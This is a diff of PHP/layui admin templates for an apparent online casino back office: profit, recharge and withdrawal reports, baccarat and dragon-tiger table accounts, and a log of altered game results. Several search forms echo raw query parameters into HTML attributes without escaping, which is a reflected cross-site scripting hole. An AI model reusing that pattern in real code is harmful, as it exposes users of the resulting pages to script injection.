content: '/report/profit_print?&startDate='+startDate+'&endDate='+endDate+'&username='+username+'&agent_id='+agent_id,
area: ['95%', '95%']
});
});
function getQueryString() {
var qs = location.search.substr(1), // 获取url中"?"符后的字串
args = {}, // 保存参数数据的对象
items = qs.length ? qs.split("&") : [], // 取得每一个参数项,
item = null,
len = items.length;
for(var i = 0; i < len; i++) {
item = items[i].split("=");
var name = decodeURIComponent(item[0]),
value = decodeURIComponent(item[1]);
if(name) {
args[name] = value;
}
}
return args;
}
</script>
</body>
</html>
@@ -0,0 +1,41 @@
{include file="public/header"}
<style>
.layui-table{margin-bottom:0;}
.layui-table th{text-align:center;}
.no-data{background:#f2f2f2;text-align:center;height:30px;line-height:30px;}
</style>
<body>
<div class="x-body">
<div class="layui-btn no-print" onclick="jQuery('html').print()">打印</div>
<table class="layui-table">
<div style="text-align: center;font-size: 18px;font-weight:bold;">收益日报表</div>
<thead>
<tr>
<th>用户名</th>
<th>占成%</th>
<th>占成收益</th>
<th>洗码率%</th>
<th>洗码收益</th>
<th>总收益金额</th>
</tr>
</thead>
<tbody>
{foreach name="agent_list" item="vo"}
<tr>
<td>{$vo.username}</td>
<td>{$vo.agent_cs}</td>
<td>{$vo.self_income_cs}</td>
<td>{$vo.self_income_xima}</td>
<td>{$vo.agent_ximalv}</td>
<td>{$vo.total_income}</td>
</tr>
{/foreach}
</tbody>
</table>
<?php if(count($agent_list) == 0): ?>
<div class="no-data">暂无数据</div>
<?php endif; ?>
</div>
</body>
</html>
@@ -0,0 +1,147 @@
{include file="public/header"}
<style>
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
.x-body .layui-row .xblock button{ margin-top:-20px; }
.x-body .layui-form{ margin-top:15px; margin-bottom:12px; }
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
.layui-input-block dl{ text-align:left; }
.x-so{ margin:0; }
.x-so input.layui-input{ width:150px; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one actived" data-id="1">充值查询</a>
<a href="javascript:;" class="list-two" data-id="2">提现查询</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="x-body">
<div class="layui-row">
<form class="layui-form layui-col-md12 x-so float-left" action="/report/user_recharge" method="get">
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
<input class="layui-input" placeholder="截止时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
<input type="text" name="username" id="username" placeholder="请输入用户名" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon">&#xe615;</i></button>
<span class="layui-btn" id="export">导出 excel</span>
</form>
</div>
<table class="layui-table">
<thead>
<tr>
<th style="width:130px;">时间</th>
<th>用户名称[账号]</th>
<th>充值U币</th>
<th>充值金额</th>
<th>充值前余额</th>
<th>充值后余额</th>
<th>外部交易号</th>
<th>转账地址</th>
<th>入账地址</th>
</tr>
</thead>
<tbody>
<?php if(count($list) > 0): ?>
<tr style="background:#67B8D8;color:#fff;">
<td colspan="1"></td>
<td>合计</td>
<td>{$total.amount}</td>
<td>{$total.money}</td>
<td colspan="9"></td>
</tr>
<?php endif; ?>
{foreach name="list" item="vo"}
<tr>
<td>{$vo.create_time}</td>
<td>{$vo.nickname}[{$vo.username}]</td>
<td>{$vo.amount}</td>
<td><?php echo number_format($vo['money'],2,".",""); ?></td>
<td><?php echo number_format($vo['old_money'],2,".",""); ?></td>
<td><?php echo number_format($vo['new_money'],2,".",""); ?></td>
<td>{$vo.out_trade_no}</td>
<td>{$vo.from_addr}</td>
<td>{$vo.to_addr}</td>
</tr>
{/foreach}
</tbody>
</table>
{$list->render()}
</div>
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav span').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == 1) location.href = '/report/user_recharge';
if(id == 2) location.href = '/report/user_withdraw';
});
// 时间选择器
layui.use('laydate', function () {
var laydate = layui.laydate;
// 开始时间
laydate.render({
elem: '#start',
type: 'datetime'
});
// 结束时间
laydate.render({
elem: '#end',
type: 'datetime'
});
});
/**
* 封装 AJAX 函数
* @param url 目标地址
* @param query 参数
* @returns {string}
*/
function ajax(url, query) {
var returnData = "";
$.ajax({
url: url,
data: query,
type: 'POST',
dataType: 'JSON',
async: false,
success: function (data) {
returnData = data;
}
});
return returnData;
}
// 导出excel
$('#export').click(function(){
var startDate = $('#start').val();
var endDate = $('#end').val();
var agent_level = $('#agent_level').val();
var mode = $('#mode').val();
var username = $('#username').val();
layer.confirm('确定导出 excel 吗?',function(index){
location.href = "/report/user_recharge?export=1&{$query}";
layer.close(index);
});
})
</script>
</body>
</html>
@@ -0,0 +1,181 @@
{include file="public/header"}
<style>
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
.x-body .layui-row .xblock button{ margin-top:-20px; }
.x-body .layui-form{ margin-top:15px; margin-bottom:12px; }
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
.layui-input-block dl{ text-align:left; }
.x-so{ margin:0; }
.x-so input.layui-input{ width:150px; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one" data-id="1">充值查询</a>
<a href="javascript:;" class="list-two actived" data-id="2">提现查询</a>
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="x-body">
<div class="layui-row">
<form class="layui-form layui-col-md12 x-so float-left" action="/report/user_withdraw" method="get">
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
<input class="layui-input" placeholder="截止时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
<input type="text" name="username" id="username" placeholder="请输入用户名" autocomplete="off" class="layui-input" value="<?php if(isset($get['username'])) {echo $get['username'];} ?>">
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon">&#xe615;</i></button>
<span class="layui-btn" id="export">导出 excel</span>
</form>
</div>
<table class="layui-table">
<thead>
<tr>
<th style="width:130px;">时间</th>
<th>用户名称[账号]</th>
<th>提现U币</th>
<th>手续费(U币)</th>
<th>提现金额</th>
<th>手续费金额</th>
<th>提现前余额</th>
<th>提现后余额</th>
<th>审核状态</th>
<th>操作人[账号]</th>
<th>操作类型</th>
<th>操作</th>
</tr>
</thead>
<tbody>
<?php if(count($list) > 0): ?>
<tr style="background:#67B8D8;color:#fff;">
<td colspan="1"></td>
<td>合计</td>
<td>{$total.amount}</td>
<td>{$total.service_fee}</td>
<td>{$total.money}</td>
<td>{$total.service_fee_money}</td>
<td colspan="6"></td>
</tr>
<?php endif; ?>
{foreach name="list" item="vo"}
<tr>
<td>{$vo.create_time}</td>
<td>{$vo.nickname}[{$vo.username}]</td>
<td>{$vo.amount}</td>
<td>{$vo.service_fee}</td>
<td><?php echo number_format($vo['money'],2,".",""); ?></td>
<td><?php echo number_format($vo['service_fee_money'],2,".",""); ?></td>
<td><?php echo number_format($vo['old_money'],2,".",""); ?></td>
<td><?php echo number_format($vo['new_money'],2,".",""); ?></td>
<td>{$vo.status_msg}</td>
<td>{$vo.operator_nickname}[{$vo.operator_username}]</td>
<td>{$vo.operator_source_msg}</td>
<td class="td-manage">
{if condition="$vo.status == 'WAIT'"}
<a class="layui-btn layui-operation" href="javascript:;" onclick="doWithdraw('{$vo.id}')">审核通过</a>
{/if}
</td>
</tr>
{/foreach}
</tbody>
</table>
{$list->render()}
</div>
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav span').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == 1) location.href = '/report/user_recharge';
if(id == 2) location.href = '/report/user_withdraw';
});
// 时间选择器
layui.use('laydate', function () {
var laydate = layui.laydate;
// 开始时间
laydate.render({
elem: '#start',
type: 'datetime'
});
// 结束时间
laydate.render({
elem: '#end',
type: 'datetime'
});
});
// 处理提现
function doWithdraw(id){
var msg = "确定通过?";
layer.confirm(msg,function(){
$.ajax({
url:'/report/doUserWithdraw',
data:{id:id},
type:'POST',
dataType:'JSON',
success:function(data){
if(data.code == 1){
layer.msg(data.msg,{icon:1},function(){
location.href = "/report/user_withdraw";
});
}else{
layer.msg(data.msg,function(){});
}
}
});
})
}
/**
* 封装 AJAX 函数
* @param url 目标地址
* @param query 参数
* @returns {string}
*/
function ajax(url, query) {
var returnData = "";
$.ajax({
url: url,
data: query,
type: 'POST',
dataType: 'JSON',
async: false,
success: function (data) {
returnData = data;
}
});
return returnData;
}
// 导出excel
$('#export').click(function(){
var startDate = $('#start').val();
var endDate = $('#end').val();
var agent_level = $('#agent_level').val();
var mode = $('#mode').val();
var username = $('#username').val();
layer.confirm('确定导出 excel 吗?',function(index){
location.href = "/report/user_withdraw?export=1&{$query}";
layer.close(index);
});
})
</script>
</body>
</html>
+184
View File
@@ -0,0 +1,184 @@
{include file="public/header"}
<style>
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
.x-body .layui-row .xblock button{ margin-top:-20px; }
.x-body .layui-form{ margin-top:15px; margin-bottom:16px; }
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
.layui-input-block dl{ text-align:left; }
.x-so{ margin:0; }
.x-so input.layui-input{ width:150px; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.title-ag{height: 40px; line-height: 40px; background: #fdeeda; margin-top: 10px; text-align:center;}
.title-ag span{font-size: 15px;}
.layui-table td, .layui-table th{font-size:12px;}
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one actived" data-id="1">百家乐桌台账目</a>
<!--<a href="javascript:;" class="list-two" data-id="2">玩家添加</a>-->
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="x-body">
<div class="layui-row">
<form class="layui-form layui-col-md12 x-so float-left" action="/table/baccarat" method="get">
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
<input class="layui-input" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
<div class="layui-input-block" >
<select name="table_id" id="table_id">
<option value="-1" selected>请选择桌子</option>
{foreach name="$table_list" item="vo"}
<option value="{$vo.id}" <?php if(isset($get['table_id']) && $get['table_id'] == $vo['id']) {echo 'selected';} ?>>{$vo.table_name}</option>
{/foreach}
</select>
</div>
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon">&#xe615;</i></button>
<span class="layui-btn" id="export">导出excel</span>
<!-- <span class="layui-btn" id="print">打印</span> -->
</form>
</div>
<table class="layui-table">
<thead>
<tr>
<th>桌号</th>
<th>庄(下注额)</th>
<th>闲(下注额)</th>
<th>和(下注额)</th>
<th>庄对(下注额)</th>
<th>闲对(下注额)</th>
<th>庄(次)</th>
<th>闲(次)</th>
<th>和(次)</th>
<th>庄对(次)</th>
<th>闲对(次)</th>
<th>庄闲对(次)</th>
<th>总押</th>
<th>会员赢</th>
<th>洗码量</th>
<th>码量</th>
<th>收益</th>
</tr>
</thead>
<tbody>
{foreach name="table" item="vo"}
<tr>
<td>{$vo.table_name}</td>
<td>{$vo.bankerSum}</td>
<td>{$vo.playerSum}</td>
<td>{$vo.tieSum}</td>
<td>{$vo.bankerPairSum}</td>
<td>{$vo.playerPairSum}</td>
<td>{$vo.bankerCount}</td>
<td>{$vo.playerCount}</td>
<td>{$vo.tieCount}</td>
<td>{$vo.bankerPairCount}</td>
<td>{$vo.playerPairCount}</td>
<td>{$vo.bankerPlayerPairCount}</td>
<td>{$vo.totalSum}</td>
<td>{$vo.totalWinSum}</td>
<td>{$vo.ximaliang}</td>
<td>{$vo.totalMaliang}</td>
<td>{$vo.income}</td>
</tr>
{/foreach}
<!-- 汇总信息 -->
<tr style="border-left:1px solid #ddd;">
<td colspan="11" style="border-left:none;"></td>
<td>汇总</td>
<td>{$total_baccarat.total_sum}</td>
<td>{$total_baccarat.total_win_sum}</td>
<td>{$total_baccarat.ximaliang}</td>
<td>{$total_baccarat.total_maliang}</td>
<td>{$total_baccarat.income}</td>
</tr>
</tbody>
</table>
{$table->render()}
</div>
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/table/baccarat';
// if(id == "2") location.href = '/player/player_add';
});
// 时间选择器
layui.use('laydate', function () {
var laydate = layui.laydate;
// 开始时间
laydate.render({
elem: '#start',
type: 'datetime'
});
// 结束时间
laydate.render({
elem: '#end',
type: 'datetime'
});
});
$('#print').click(function(){
var qs = getQueryString();
var startDate = qs["startDate"];
var endDate = qs["endDate"];
var table_id = qs["table_id"];
if(startDate == undefined) startDate = '';
if(endDate == undefined) endDate = '';
if(table_id == undefined) table_id = '';
layer.open({
type: 2,
title:'百家乐桌台账目打印',
content: '/table/baccarat_print?startDate='+startDate+'&endDate='+endDate+'&table_id='+table_id,
area: ['95%', '95%']
});
});
function getQueryString() {
var qs = location.search.substr(1), // 获取url中"?"符后的字串
args = {}, // 保存参数数据的对象
items = qs.length ? qs.split("&") : [], // 取得每一个参数项,
item = null,
len = items.length;
for(var i = 0; i < len; i++) {
item = items[i].split("=");
var name = decodeURIComponent(item[0]),
value = decodeURIComponent(item[1]);
if(name) {
args[name] = value;
}
}
return args;
}
// 导出excel
$('#export').click(function(){
var startDate = $('#start').val();
var endDate = $('#end').val();
var table_id = $('#table_id').val();
layer.confirm('确定导出 excel 吗?',function(index){
location.href = "/table/baccarat?export=1&startDate="+startDate+"&endDate="+endDate+"&&table_id="+table_id;
layer.close(index);
});
})
</script>
</body>
</html>
@@ -0,0 +1,64 @@
{include file="public/header"}
<body>
<div class="x-body">
<div class="layui-btn no-print" onclick="jQuery('html').print()">打印</div>
<table class="layui-table">
<div style="text-align: center;font-size: 18px;font-weight:bold;">百家乐桌台账目</div>
<thead>
<tr>
<th style="text-align: center;">桌号</th>
<th style="text-align: center;">庄(下注额)</th>
<th style="text-align: center;">闲(下注额)</th>
<th style="text-align: center;">和(下注额)</th>
<th style="text-align: center;">庄对(下注额)</th>
<th style="text-align: center;">闲对(下注额)</th>
<th style="text-align: center;">庄(次)</th>
<th style="text-align: center;">闲(次)</th>
<th style="text-align: center;">和(次)</th>
<th style="text-align: center;">庄对(次)</th>
<th style="text-align: center;">闲对(次)</th>
<th style="text-align: center;">庄闲对(次)</th>
<th style="text-align: center;">总押</th>
<th style="text-align: center;">会员赢</th>
<th style="text-align: center;">洗码量</th>
<th style="text-align: center;">码量</th>
<th style="text-align: center;">收益</th>
</tr>
</thead>
<tbody>
{foreach name="table" item="vo"}
<tr>
<td>{$vo.table_name}</td>
<td>{$vo.bankerSum}</td>
<td>{$vo.playerSum}</td>
<td>{$vo.tieSum}</td>
<td>{$vo.bankerPairSum}</td>
<td>{$vo.playerPairSum}</td>
<td>{$vo.bankerCount}</td>
<td>{$vo.playerCount}</td>
<td>{$vo.tieCount}</td>
<td>{$vo.bankerPairCount}</td>
<td>{$vo.playerPairCount}</td>
<td>{$vo.bankerPlayerPairCount}</td>
<td>{$vo.totalSum}</td>
<td>{$vo.totalWinSum}</td>
<td>{$vo.ximaliang}</td>
<td>{$vo.totalMaliang}</td>
<td>{$vo.income}</td>
</tr>
{/foreach}
<!-- 汇总信息 -->
<tr style="border-left:1px solid #ddd;">
<td colspan="11" style="border-left:none;"></td>
<td>汇总</td>
<td>{$total_baccarat.total_sum}</td>
<td>{$total_baccarat.total_win_sum}</td>
<td>{$total_baccarat.ximaliang}</td>
<td>{$total_baccarat.total_maliang}</td>
<td>{$total_baccarat.income}</td>
</tr>
</tbody>
</div>
</body>
</html>
+169
View File
@@ -0,0 +1,169 @@
{include file="public/header"}
<style>
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
.x-body .layui-row .xblock button{ margin-top:-20px; }
.x-body .layui-form{ margin-top:15px; margin-bottom:16px; }
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
.layui-input-block dl{ text-align:left; }
.x-so{ margin:0; }
.x-so input.layui-input{ width:150px; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.title-ag{height: 40px; line-height: 40px; background: #fdeeda; margin-top: 10px; text-align:center;}
.title-ag span{font-size: 15px;}
.layui-table td, .layui-table th{font-size:12px;}
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one actived" data-id="1">龙虎斗桌台账目</a>
<!--<a href="javascript:;" class="list-two" data-id="2">玩家添加</a>-->
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="x-body">
<div class="layui-row">
<form class="layui-form layui-col-md12 x-so float-left" action="/table/dt" method="get">
<input class="layui-input" placeholder="开始时间" name="startDate" id="start" value="<?php if(isset($get['startDate'])) {echo $get['startDate'];} ?>">
<input class="layui-input" placeholder="结束时间" name="endDate" id="end" value="<?php if(isset($get['endDate'])) {echo $get['endDate'];} ?>">
<div class="layui-input-block" >
<select name="table_id" id="table_id">
<option value="-1" selected>请选择桌子</option>
{foreach name="$table_list" item="vo"}
<option value="{$vo.id}" <?php if(isset($get['table_id']) && $get['table_id'] == $vo['id']) {echo 'selected';} ?>>{$vo.table_name}</option>
{/foreach}
</select>
</div>
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon">&#xe615;</i></button>
<span class="layui-btn" id="export">导出excel</span>
<!-- <span class="layui-btn" id="print">打印</span> -->
</form>
</div>
<table class="layui-table">
<thead>
<tr>
<th>桌号</th>
<th>龙(下注额)</th>
<th>虎(下注额)</th>
<th>和(下注额)</th>
<th>龙(次)</th>
<th>虎(次)</th>
<th>和(次)</th>
<th>总押</th>
<th>会员赢</th>
<th>收益</th>
</tr>
</thead>
<tbody>
{foreach name="table" item="vo"}
<tr>
<td>{$vo.table_name}</td>
<td>{$vo.bankerSum}</td>
<td>{$vo.playerSum}</td>
<td>{$vo.tieSum}</td>
<td>{$vo.bankerCount}</td>
<td>{$vo.playerCount}</td>
<td>{$vo.tieCount}</td>
<td>{$vo.totalSum}</td>
<td>{$vo.totalWinSum}</td>
<td>{$vo.income}</td>
</tr>
{/foreach}
<!-- 汇总信息 -->
<tr style="border-left:1px solid #ddd;">
<td colspan="6" style="border-left:none;"></td>
<td>汇总</td>
<td>{$total_dt.total_sum}</td>
<td>{$total_dt.total_win_sum}</td>
<td>{$total_dt.income}</td>
</tr>
</tbody>
</table>
{$table->render()}
</div>
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/table/dt';
// if(id == "2") location.href = '/player/player_add';
});
// 时间选择器
layui.use('laydate', function () {
var laydate = layui.laydate;
// 开始时间
laydate.render({
elem: '#start',
type: 'datetime'
});
// 结束时间
laydate.render({
elem: '#end',
type: 'datetime'
});
});
$('#print').click(function(){
var qs = getQueryString();
var startDate = qs["startDate"];
var endDate = qs["endDate"];
var table_id = qs["table_id"];
if(startDate == undefined) startDate = '';
if(endDate == undefined) endDate = '';
if(table_id == undefined) table_id = '';
layer.open({
type: 2,
title:'龙虎斗桌台账目打印',
content: '/table/dt_print?startDate='+startDate+'&endDate='+endDate+'&table_id='+table_id,
area: ['95%', '95%']
});
});
function getQueryString() {
var qs = location.search.substr(1), // 获取url中"?"符后的字串
args = {}, // 保存参数数据的对象
items = qs.length ? qs.split("&") : [], // 取得每一个参数项,
item = null,
len = items.length;
for(var i = 0; i < len; i++) {
item = items[i].split("=");
var name = decodeURIComponent(item[0]),
value = decodeURIComponent(item[1]);
if(name) {
args[name] = value;
}
}
return args;
}
// 导出excel
$('#export').click(function(){
var startDate = $('#start').val();
var endDate = $('#end').val();
var table_id = $('#table_id').val();
layer.confirm('确定导出 excel 吗?',function(index){
location.href = "/table/dt?export=1&startDate="+startDate+"&endDate="+endDate+"&&table_id="+table_id;
layer.close(index);
});
})
</script>
</body>
</html>
@@ -0,0 +1,48 @@
{include file="public/header"}
<body>
<div class="x-body">
<div class="layui-btn no-print" onclick="jQuery('html').print()">打印</div>
<table class="layui-table">
<div style="text-align: center;font-size: 18px;font-weight:bold;">龙虎斗桌台账目</div>
<thead>
<tr>
<th style="text-align: center;">桌号</th>
<th style="text-align: center;">龙(下注额)</th>
<th style="text-align: center;">虎(下注额)</th>
<th style="text-align: center;">和(下注额)</th>
<th style="text-align: center;">龙(次)</th>
<th style="text-align: center;">虎(次)</th>
<th style="text-align: center;">和(次)</th>
<th style="text-align: center;">总押</th>
<th style="text-align: center;">会员赢</th>
<th style="text-align: center;">收益</th>
</tr>
</thead>
<tbody>
{foreach name="table" item="vo"}
<tr>
<td>{$vo.table_name}</td>
<td>{$vo.bankerSum}</td>
<td>{$vo.playerSum}</td>
<td>{$vo.tieSum}</td>
<td>{$vo.bankerCount}</td>
<td>{$vo.playerCount}</td>
<td>{$vo.tieCount}</td>
<td>{$vo.totalSum}</td>
<td>{$vo.totalWinSum}</td>
<td>{$vo.income}</td>
</tr>
{/foreach}
<!-- 汇总信息 -->
<tr style="border-left:1px solid #ddd;">
<td colspan="6" style="border-left:none;"></td>
<td>汇总</td>
<td>{$total_dt.total_sum}</td>
<td>{$total_dt.total_win_sum}</td>
<td>{$total_dt.income}</td>
</tr>
</tbody>
</div>
</body>
</html>
@@ -0,0 +1,100 @@
{include file="public/header"}
<style>
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
.x-body .layui-row .xblock button{ margin-top:-20px; }
.x-body .layui-form{ margin-top:15px; margin-bottom:16px; }
.x-body .layui-form .layui-input-block{ display:inline-block; width:150px; margin-left:0; }
.x-body .layui-form .layui-form-item{ display:inline-block; margin-left:0; }
.x-body .layui-form .layui-form-item .layui-form-label{ width:48px; }
.x-body .layui-form .layui-form-item .layui-input-block{ margin-left:-10px; width:100px; }
.x-body .layui-form .layui-form-item .layui-input-block .layui-form-radio i{ margin-right:4px; }
.x-body .layui-form .layui-form-item .layui-form-radio{ margin-top:6px; margin-right:-8px; }
.layui-input-block dl{ text-align:left; }
.x-so{ margin:0; }
.x-so input.layui-input{ width:150px; }
.x-nav{overflow: inherit; } .x-nav .refresh{margin-right: 20px; }
.change_box .actived{border-right:1px solid #e5e5e5;border-left:1px solid #e5e5e5;border-top:1px solid #e5e5e5; position: relative; color: #3daae9; }
.change_box .actived:after{content: ""; bottom: -2px; background: #fff; width: 100%; height: 5px; position: absolute; left: 0; }
.change_box a{font-size: 14px;padding: 10.5px 10px;}
.title-ag{height: 40px; line-height: 40px; background: #fdeeda; margin-top: 10px; text-align:center;}
.title-ag span{font-size: 15px;}
.layui-table td, .layui-table th{font-size:12px;}
</style>
<body>
<div class="x-nav" style="padding: 0px;">
<span class="change_box">
<a href="javascript:;" class="list-one actived" data-id="1">牌桌结果修改记录</a>
<!--<a href="javascript:;" class="list-two" data-id="2">玩家添加</a>-->
</span>
<a class="layui-btn layui-btn-small refresh" style="line-height:1.6em;margin-top:3px;float:right"
href="javascript:location.replace(location.href);" title="刷新">
<i class="layui-icon" style="line-height:30px">ဂ</i></a>
</div>
<br>
<div class="x-body">
<div class="layui-row">
<form class="layui-form layui-col-md12 x-so float-left" action="/table/edit_numberTab" method="get">
<div class="layui-input-block" >
<select name="table_id" id="table_id">
<option value="-1" selected>请选择桌子</option>
{foreach name="$table_list" item="vo"}
<option value="{$vo.id}" <?php if(isset($get['table_id']) && $get['table_id'] == $vo['id']) {echo 'selected';} ?>>{$vo.table_name}</option>
{/foreach}
</select>
</div>
<input type="text" name="number_id" id="number_id" placeholder="铺ID" autocomplete="off" class="layui-input" value="<?php if(isset($get['number_id'])) {echo $get['number_id'];} ?>">
<input type="text" name="boot_id" id="boot_id" placeholder="靴ID" autocomplete="off" class="layui-input" value="<?php if(isset($get['boot_id'])) {echo $get['boot_id'];} ?>">
<input type="text" name="boot_num" id="boot_num" placeholder="靴号" autocomplete="off" class="layui-input" value="<?php if(isset($get['boot_num'])) {echo $get['boot_num'];} ?>">
<input type="text" name="number" id="number" placeholder="铺号" autocomplete="off" class="layui-input" value="<?php if(isset($get['number'])) {echo $get['number'];} ?>">
<button class="layui-btn" lay-submit="" lay-filter="sreach"><i class="layui-icon">&#xe615;</i></button>
</form>
</div>
<table class="layui-table">
<thead>
<tr>
<th>铺ID</th>
<th>游戏类型</th>
<th>桌子ID</th>
<th>桌子名称</th>
<th>靴ID</th>
<th>靴号</th>
<th>铺号</th>
<th>修改前结果</th>
<th>修改后结果</th>
</tr>
</thead>
<tbody>
{foreach name="editData" item="vo"}
<tr>
<td>{$vo.id}</td>
<td>{$vo.game_name}</td>
<td>{$vo.table_id}</td>
<td>{$vo.table_name}</td>
<td>{$vo.boot_id}</td>
<td>{$vo.boot_num}</td>
<td>{$vo.number}</td>
<td>{$vo.before_result}</td>
<td>{$vo.after_result}</td>
</tr>
{/foreach}
</tbody>
</table>
{$editData->render()}
</div>
<script>
// 代理列表和添加代理切换
$('.x-nav .change_box a').click(function(){
// 样式切换
$('.x-nav .change_box a').removeClass('actived');
$(this).addClass('actived');
// 页面切换
var id = $(this).attr('data-id');
if(id == "1") location.href = '/table/dt';
// if(id == "2") location.href = '/player/player_add';
});
</script>
</body>
</html>
+189
View File
@@ -0,0 +1,189 @@
{include file="public/header"}
<style>
.x-body .layui-row{ margin-top:-10px; line-height:25px; background:#f5f5f5; border-radius:10px; }
.x-body .layui-row .xblock button{ margin-top:-20px; }
.x-body .layui-form{ margin-top:15px; margin-bottom:16px; }
